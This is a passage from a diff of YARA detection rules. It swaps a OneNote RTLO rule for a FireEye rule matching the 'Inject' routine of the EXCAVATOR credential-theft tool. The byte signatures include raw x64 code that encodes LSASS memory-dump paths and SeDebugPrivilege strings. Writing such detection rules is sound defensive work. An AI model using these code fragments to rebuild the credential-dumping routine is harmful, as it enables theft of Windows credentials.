BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
+		$bytes3 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
+		$bytes4 = { 4C 89 74 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC A0 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? BA 50 00 00 00 C7 05 ?? ?? ?? ?? 43 00 3A 00 66 89 15 ?? ?? 01 00 4C 8D 44 24 ?? 48 8D 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 5C 00 57 00 33 C9 C7 05 ?? ?? ?? ?? 69 00 6E 00 C7 05 ?? ?? ?? ?? 64 00 6F 00 C7 05 ?? ?? ?? ?? 77 00 73 00 C7 05 ?? ?? ?? ?? 5C 00 4D 00 C7 05 ?? ?? ?? ?? 45 00 4D 00 C7 05 ?? ?? ?? ?? 4F 00 52 00 C7 05 ?? ?? ?? ?? 59 00 2E 00 C7 05 ?? ?? ?? ?? 44 00 4D 00 C7 05 ?? ?? ?? ?? 53 00 65 00 C7 05 ?? ?? ?? ?? 44 00 65 00 C7 05 ?? ?? ?? ?? 42 00 75 00 C7 05 ?? ?? ?? ?? 47 00 50 00 C7 05 ?? ?? ?? ?? 72 00 69 00 C7 05 ?? ?? ?? ?? 56 00 69 00 C7 05 ?? ?? ?? ?? 4C 00 45 00 C7 05 ?? ?? ?? ?? 67 00 65 00 C7 05 ?? ?? ?? ?? 6C 73 61 73 C7 05 ?? ?? ?? ?? 73 2E 65 78 C6 05 ?? ?? ?? ?? 65 FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? 01 00 00 00 C7 44 24 ?? 02 00 00 00 FF 15 ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 ?? 41 8D 56 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 44 24 ?? 4C 89 74 24 ?? 45 33 C9 33 D2 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 0F 1F 44 00 ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 41 B9 04 01 00 00 33 D2 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 ?? 48 89 BC 24 ?? ?? ?? ?? BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 4C 89 74 24 ?? C7 44 24 ?? 80 00 00 00 48 8D 0D ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 01 00 00 00 BA 00 00 00 10 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 ?? 41 B9 02 00 00 00 4C 89 74 24 ?? 4C 8B C7 8B D6 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B C8 FF 15 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? CC 48 8B CB FF 15 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 33 C0 48 8B B4 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 48 81 C4 A0 01 00 00 5D C3 }
 
 	condition:
-		filesize <5MB and ($one at 0) and $fdso and $wse
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and any of ($bytes*)
 }
-rule DELIVRTO_SUSP_Onenote_RTLO_Character_Feb23 : FILE
+rule FIREEYE_RT_Credtheft_Win_EXCAVATOR_1 : FILE
 {
 	meta:
-		description = "Presence of RTLO Unicode Character in a OneNote file with embedded files"
-		author = "delivr.to"
-		id = "03d86391-1392-5734-af5f-8a2c7b99167a"
-		date = "2023-02-17"
-		modified = "2023-02-17"
-		reference = "https://github.com/delivr-to/detections"
-		source_url = "https://github.com/delivr-to/detections/blob/437e5c8b301bf96c50840f4ab7ce8524b6201a69/yara-rules/onenote_rtlo_filename.yar#L1-L22"
-		license_url = "N/A"
-		logic_hash = "286bc1ab1f5df0d64634f53cc82357187306c40b063b156f36b602e131262c7a"
-		score = 60
-		quality = 55
+		description = "This rule looks for the binary signature of the 'Inject' method found in the main Excavator PE."
+		author = "FireEye"
+		id = "7cabc230-e55b-5096-996a-b6a8c9693bdc"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/CredTheft_Win_EXCAVATOR_1.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "f7d9961463b5110a3d70ee2e97842ed3"
+		logic_hash = "bf4b776f34a1a9aa5438504f63a63ef452a747363de3b70cec52145d777055bd"
+		score = 75
+		quality = 75
 		tags = "FILE"
+		rev = 4
 
 	strings:
-		$one = { E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 }
-		$fdso = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
-		$rtlo = { 00 2E 20 }
+		$bytes1 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 20 01 00 00 48 8B 05 75 BF 01 00 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 8D 0D 12 A1 01 00 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 00 FF 15 CB 1F 01 00 48 85 C0 75 1B FF 15 80 1F 01 00 8B D0 48 8D 0D DF A0 01 00 E8 1A FF FF FF 33 C0 E9 B4 02 00 00 48 8D 15 D4 A0 01 00 48 89 9C 24 30 01 00 00 48 8B C8 FF 15 4B 1F 01 00 48 8B D8 48 85 C0 75 19 FF 15 45 1F 01 00 8B D0 48 8D 0D A4 A0 01 00 E8 DF FE FF FF E9 71 02 00 00 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 45 66 66 0F 1F 84 00 00 00 00 00 48 8B 4C 24 60 FF 15 4D 1F 01 00 3B C6 74 22 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 D1 EB 0A 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A0 01 00 48 8D 05 A6 C8 01 00 B9 C8 05 00 00 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 B2 FF 15 CC 1E 01 00 4C 8D 44 24 78 BA 0A 00 00 00 48 8B C8 FF 15 01 1E 01 00 85 C0 0F 84 66 01 00 00 48 8B 4C 24 78 48 8D 45 80 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 D8 1D 01 00 85 C0 0F 84 35 01 00 00 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 50 01 FF 15 5C 1E 01 00 FF 15 06 1E 01 00 4C 8B 44 24 68 33 D2 48 8B C8 FF 15 DE 1D 01 00 48 8B F8 48 85 C0 0F 84 FF 00 00 00 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 50 01 FF 15 25 1E 01 00 85 C0 0F 84 E2 00 00 00 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 6C 1D 01 00 85 C0 0F 84 B1 00 00 00 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C 8D 05 58 39 03 00 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 44 24 30 04 00 08 00 44 89 74 24 28 4C 89 74 24 20 FF 15 0C 1D 01 00 85 C0 74 65 48 8B 4C 24 70 8B 5D 98 FF 15 1A 1D 01 00 48 8B 4D 88 FF 15 10 1D 01 00 48 8B 4D 90 FF 15 06 1D 01 00 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 4E 1D 01 00 48 8B D8 48 85 C0 74 2B 48 8B C8 E8 4E 06 00 00 48 85 C0 74 1E BA FF FF FF FF 48 8B C8 FF 15 3B 1D 01 00 48 8B CB FF 15 CA 1C 01 00 B8 01 00 00 00 EB 24 FF 15 DD 1C 01 00 8B D0 48 8D 0D 58 9E 01 00 E8 77 FC FF FF 48 85 FF 74 09 48 8B CF FF 15 A9 1C 01 00 33 C0 48 8B 9C 24 30 01 00 00 48 8B 4D 10 48 33 CC E8 03 07 00 00 4C 8D 9C 24 20 01 00 00 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
+		$bytes2 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
+		$bytes3 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
+		$bytes4 = { 48 89 74 24 ?? 48 89 7C 24 ?? 4C 89 74 24 ?? 55 48 8D 6C 24 ?? 48 81 EC 20 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 45 ?? 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 ?? 48 8D 0D ?? ?? ?? ?? 4C 89 74 24 ?? 0F 11 45 ?? 41 8B FE 4C 89 74 24 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 ?? 48 89 44 24 ?? 66 0F 6F 15 ?? ?? 01 00 48 8D 05 ?? ?? ?? ?? B9 C8 05 00 00 90 F3 0F 6F 40 ?? 48 8D 40 ?? 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? F3 0F 6F 40 ?? 66 0F EF C2 F3 0F 7F 40 ?? 48 83 E9 01 75 ?? FF 15 ?? ?? ?? ?? 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 45 ?? 41 B9 02 00 00 00 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 02 00 00 00 41 8D 51 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 48 8B C8 41 8D 50 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 ?? 4C 8D 4C 24 ?? 4C 89 74 24 ?? 33 D2 41 B8 00 00 02 00 48 C7 44 24 ?? 08 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 45 ?? 48 89 7D ?? 48 89 44 24 ?? 45 33 C9 4C 89 74 24 ?? 33 D2 4C 89 74 24 ?? C7 44 24 ?? 04 00 08 00 44 89 74 24 ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 8B 5D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? 